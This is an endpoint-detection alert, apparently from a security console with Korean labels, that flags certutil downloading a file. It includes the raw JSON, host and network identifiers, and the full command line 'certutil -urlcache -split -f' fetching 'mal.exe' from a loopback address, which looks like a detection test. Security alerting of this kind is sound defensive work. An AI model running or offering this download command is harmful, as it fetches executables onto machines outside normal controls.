Alert Information
High
- Alert ID
ind:47186ef241ea495885522e5d4930eda3:35175977090-10294-11176208- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:47186ef241ea495885522e5d4930eda3:35175977090-10294-11176208- 설명
- Certutil was observed downloading file(s) from a remote location. This process is rarely used benignly in this context. Please review the command line and process tree.
- 호스트
- TEAHEE
- 상태
- new
- 생성 시간
- 2025-12-22 07:47:03
- 업데이트 시간
- 2025-12-22 08:46:03
MITRE ATT&CK
- Tactic
- Command and Control
- Technique
- Ingress Tool Transfer
Command Line
certutil -urlcache -split -f http://127.0.0.1/mal.exe C:\Users\dokji\AppData\Local\Temp\cert_test.exe
Raw JSON Data
{"id":"ind:47186ef241ea495885522e5d4930eda3:35175977090-10294-11176208","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:47186ef241ea495885522e5d4930eda3:35175977090-10294-11176208","agent_id":"47186ef241ea495885522e5d4930eda3","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"Certutil was observed downloading file(s) from a remote location. This process is rarely used benignly in this context. Please review the command line and process tree.","severity":70,"severity_name":"High","confidence":80,"tactic":"Command and Control","tactic_id":"TA0011","technique":"Ingress Tool Transfer","technique_id":"T1105","cmdline":"certutil -urlcache -split -f http://127.0.0.1/mal.exe C:\\Users\\dokji\\AppData\\Local\\Temp\\cert_test.exe","filename":"certutil.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\certutil.exe","sha256":"5ee9dc956e9f67f33f2ca0776d7dce4bc0b6bf2cf5005bf2644f0b36accceaf4","status":"new","type":"ldt","created_timestamp":"2025-12-21T22:47:03.274102302Z","updated_timestamp":"2025-12-21T23:46:03.259193568Z","device":{"device_id":"47186ef241ea495885522e5d4930eda3","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.20309.0","hostname":"TEAHEE","local_ip":"172.27.1.29","external_ip":"119.206.248.238","mac_address":"e8-84-a5-3f-53-7c","platform_name":"Windows","os_version":"Windows 11"},"aggregate_id":"aggind:47186ef241ea495885522e5d4930eda3:9236902585","CreatedAt":"2025-12-22T07:47:03.2741023+09:00","UpdatedAt":"2025-12-22T08:46:03.2591936+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
47186ef241ea495885522e5d4930eda3
Actions